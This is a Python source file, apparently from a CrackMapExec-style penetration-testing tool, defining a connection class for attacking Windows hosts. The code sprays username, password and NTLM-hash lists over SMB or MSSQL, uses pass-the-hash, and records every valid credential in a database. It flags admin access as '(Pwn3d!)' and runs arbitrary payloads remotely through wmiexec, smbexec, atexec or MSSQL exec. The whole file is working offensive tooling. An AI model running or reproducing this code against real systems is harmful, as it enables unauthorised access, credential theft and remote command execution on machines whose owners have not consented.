206 lines
8.1 KiB
Python
206 lines
8.1 KiB
Python
|
from core.helpers import highlight
|
||
|
from core.execmethods.mssqlexec import MSSQLEXEC
|
||
|
from core.execmethods.wmiexec import WMIEXEC
|
||
|
from core.execmethods.smbexec import SMBEXEC
|
||
|
from core.execmethods.atexec import TSCH_EXEC
|
||
|
from impacket.dcerpc.v5 import transport, scmr
|
||
|
from impacket.dcerpc.v5.rpcrt import DCERPCException
|
||
|
from impacket.smbconnection import SessionError
|
||
|
|
||
|
class Connection:
|
||
|
|
||
|
def __init__(self, args, db, target, server_name, domain, conn, logger, cmeserver):
|
||
|
self.args = args
|
||
|
self.db = db
|
||
|
self.host = target
|
||
|
self.hostname = server_name
|
||
|
self.domain = domain
|
||
|
self.conn = conn
|
||
|
self.logger = logger
|
||
|
self.cmeserver = cmeserver
|
||
|
self.password = None
|
||
|
self.username = None
|
||
|
self.hash = None
|
||
|
self.admin_privs = False
|
||
|
|
||
|
self.login()
|
||
|
|
||
|
def check_if_admin(self):
|
||
|
if self.args.mssql:
|
||
|
try:
|
||
|
#I'm pretty sure there has to be a better way of doing this.
|
||
|
#Currently we are just searching for our user in the sysadmin group
|
||
|
|
||
|
self.conn.sql_query("EXEC sp_helpsrvrolemember 'sysadmin'")
|
||
|
query_output = self.conn.printRows()
|
||
|
if query_output.find('{}\\{}'.format(self.domain, self.username)) != -1:
|
||
|
self.admin_privs = True
|
||
|
except:
|
||
|
pass
|
||
|
|
||
|
elif not self.args.mssql:
|
||
|
'''
|
||
|
We use the OpenSCManagerW Win32API call to to establish a handle to the remote host.
|
||
|
If this succeeds, the user context has administrator access to the target.
|
||
|
|
||
|
Idea stolen from PowerView's Invoke-CheckLocalAdminAccess
|
||
|
'''
|
||
|
|
||
|
stringBinding = r'ncacn_np:{}[\pipe\svcctl]'.format(self.host)
|
||
|
|
||
|
rpctransport = transport.DCERPCTransportFactory(stringBinding)
|
||
|
rpctransport.set_dport(self.args.smb_port)
|
||
|
|
||
|
lmhash = ''
|
||
|
nthash = ''
|
||
|
if self.hash:
|
||
|
lmhash, nthash = self.hash.split(':')
|
||
|
if hasattr(rpctransport, 'set_credentials'):
|
||
|
# This method exists only for selected protocol sequences.
|
||
|
rpctransport.set_credentials(self.username, self.password if self.password is not None else '', self.domain, lmhash, nthash)
|
||
|
dce = rpctransport.get_dce_rpc()
|
||
|
dce.connect()
|
||
|
dce.bind(scmr.MSRPC_UUID_SCMR)
|
||
|
|
||
|
lpMachineName = '{}\x00'.format(self.host)
|
||
|
try:
|
||
|
|
||
|
# 0xF003F - SC_MANAGER_ALL_ACCESS
|
||
|
# http://msdn.microsoft.com/en-us/library/windows/desktop/ms685981(v=vs.85).aspx
|
||
|
|
||
|
resp = scmr.hROpenSCManagerW(dce, lpMachineName, 'ServicesActive\x00', 0xF003F)
|
||
|
self.admin_privs = True
|
||
|
except DCERPCException:
|
||
|
pass
|
||
|
|
||
|
def plaintext_login(self, username, password):
|
||
|
try:
|
||
|
if self.args.mssql:
|
||
|
res = self.conn.login(None, username, password, self.domain, None, True)
|
||
|
if res is not True:
|
||
|
self.conn.printReplies()
|
||
|
return False
|
||
|
|
||
|
elif not self.args.mssql:
|
||
|
self.conn.login(username, password, self.domain)
|
||
|
|
||
|
self.password = password
|
||
|
self.username = username
|
||
|
self.check_if_admin()
|
||
|
self.db.add_credential('plaintext', self.domain, username, password)
|
||
|
|
||
|
out = u'{}\\{}:{} {}'.format(self.domain,
|
||
|
username,
|
||
|
password,
|
||
|
highlight('(Pwn3d!)') if self.admin_privs else '')
|
||
|
|
||
|
self.logger.success(out)
|
||
|
return True
|
||
|
except SessionError as e:
|
||
|
self.logger.error(u'{}\\{}:{} {}'.format(self.domain, username, password, str(e).split(':')[1]))
|
||
|
return False
|
||
|
|
||
|
def hash_login(self, username, ntlm_hash):
|
||
|
lmhash, nthash = ntlm_hash.split(':')
|
||
|
try:
|
||
|
if self.args.mssql:
|
||
|
res = self.conn.login(None, username, '', self.domain, ntlm_hash, True)
|
||
|
if res is not True:
|
||
|
self.conn.printReplies()
|
||
|
return False
|
||
|
|
||
|
elif not self.args.mssql:
|
||
|
self.conn.login(username, '', self.domain, lmhash, nthash)
|
||
|
|
||
|
self.hash = ntlm_hash
|
||
|
self.username = username
|
||
|
self.check_if_admin()
|
||
|
self.db.add_credential('hash', self.domain, username, ntlm_hash)
|
||
|
|
||
|
out = u'{}\\{} {} {}'.format(self.domain,
|
||
|
username,
|
||
|
ntlm_hash,
|
||
|
highlight('(Pwn3d!)') if self.admin_privs else '')
|
||
|
|
||
|
self.logger.success(out)
|
||
|
return True
|
||
|
except SessionError as e:
|
||
|
self.logger.error(u'{}\\{} {} {}'.format(self.domain, username, ntlm_hash, str(e).split(':')[1]))
|
||
|
return False
|
||
|
|
||
|
def login(self):
|
||
|
if self.args.local_auth:
|
||
|
self.domain = self.hostname
|
||
|
|
||
|
for user in self.args.username:
|
||
|
|
||
|
if type(user) is file:
|
||
|
|
||
|
for usr in user:
|
||
|
|
||
|
if self.args.hash:
|
||
|
for ntlm_hash in self.args.hash:
|
||
|
if type(ntlm_hash) is not file:
|
||
|
if self.hash_login(usr.strip(), ntlm_hash): return
|
||
|
|
||
|
elif type(ntlm_hash) is file:
|
||
|
for f_hash in ntlm_hash:
|
||
|
if self.hash_login(usr.strip(), f_hash.strip()): return
|
||
|
|
||
|
|
||
|
elif self.args.password:
|
||
|
for password in self.args.password:
|
||
|
if type(password) is not file:
|
||
|
if self.plaintext_login(usr.strip(), password): return
|
||
|
|
||
|
elif type(password) is file:
|
||
|
for f_pass in password:
|
||
|
if self.plaintext_login(usr.strip(), f_pass.strip()): return
|
||
|
|
||
|
elif type(user) is not file:
|
||
|
|
||
|
if self.args.hash:
|
||
|
for ntlm_hash in self.args.hash:
|
||
|
if type(ntlm_hash) is not file:
|
||
|
if self.hash_login(user, ntlm_hash): return
|
||
|
|
||
|
elif type(ntlm_hash) is file:
|
||
|
for f_hash in ntlm_hash:
|
||
|
if self.hash_login(user, f_hash.strip()): return
|
||
|
|
||
|
elif self.args.password:
|
||
|
for password in self.args.password:
|
||
|
if type(password) is not file:
|
||
|
if self.plaintext_login(user, password): return
|
||
|
|
||
|
elif type(password) is file:
|
||
|
for f_pass in password:
|
||
|
if self.plaintext_login(user, f_pass.strip()): return
|
||
|
|
||
|
def execute(self, payload, get_output=False, method=None):
|
||
|
|
||
|
if self.args.mssql:
|
||
|
exec_method = MSSQLEXEC(self.conn)
|
||
|
|
||
|
elif not self.args.mssql:
|
||
|
|
||
|
if not method:
|
||
|
method = self.args.exec_method
|
||
|
|
||
|
if method == 'wmiexec':
|
||
|
exec_method = WMIEXEC(self.host, self.username, self.password, self.domain, self.conn, self.hash, self.args.share)
|
||
|
|
||
|
elif method == 'smbexec':
|
||
|
exec_method = SMBEXEC(self.host, self.args.smb_port, self.username, self.password, self.domain, self.hash, self.args.share)
|
||
|
|
||
|
elif method == 'atexec':
|
||
|
exec_method = TSCH_EXEC(self.host, self.username, self.password, self.domain, self.hash) #self.args.share)
|
||
|
|
||
|
if self.cmeserver:
|
||
|
if hasattr(self.cmeserver.server.module, 'on_request') or hasattr(self.cmeserver.server.module, 'on_response'):
|
||
|
self.cmeserver.server.hosts.append(self.host)
|
||
|
|
||
|
output = exec_method.execute(payload, get_output)
|
||
|
|
||
|
return u'{}'.format(output.strip())
|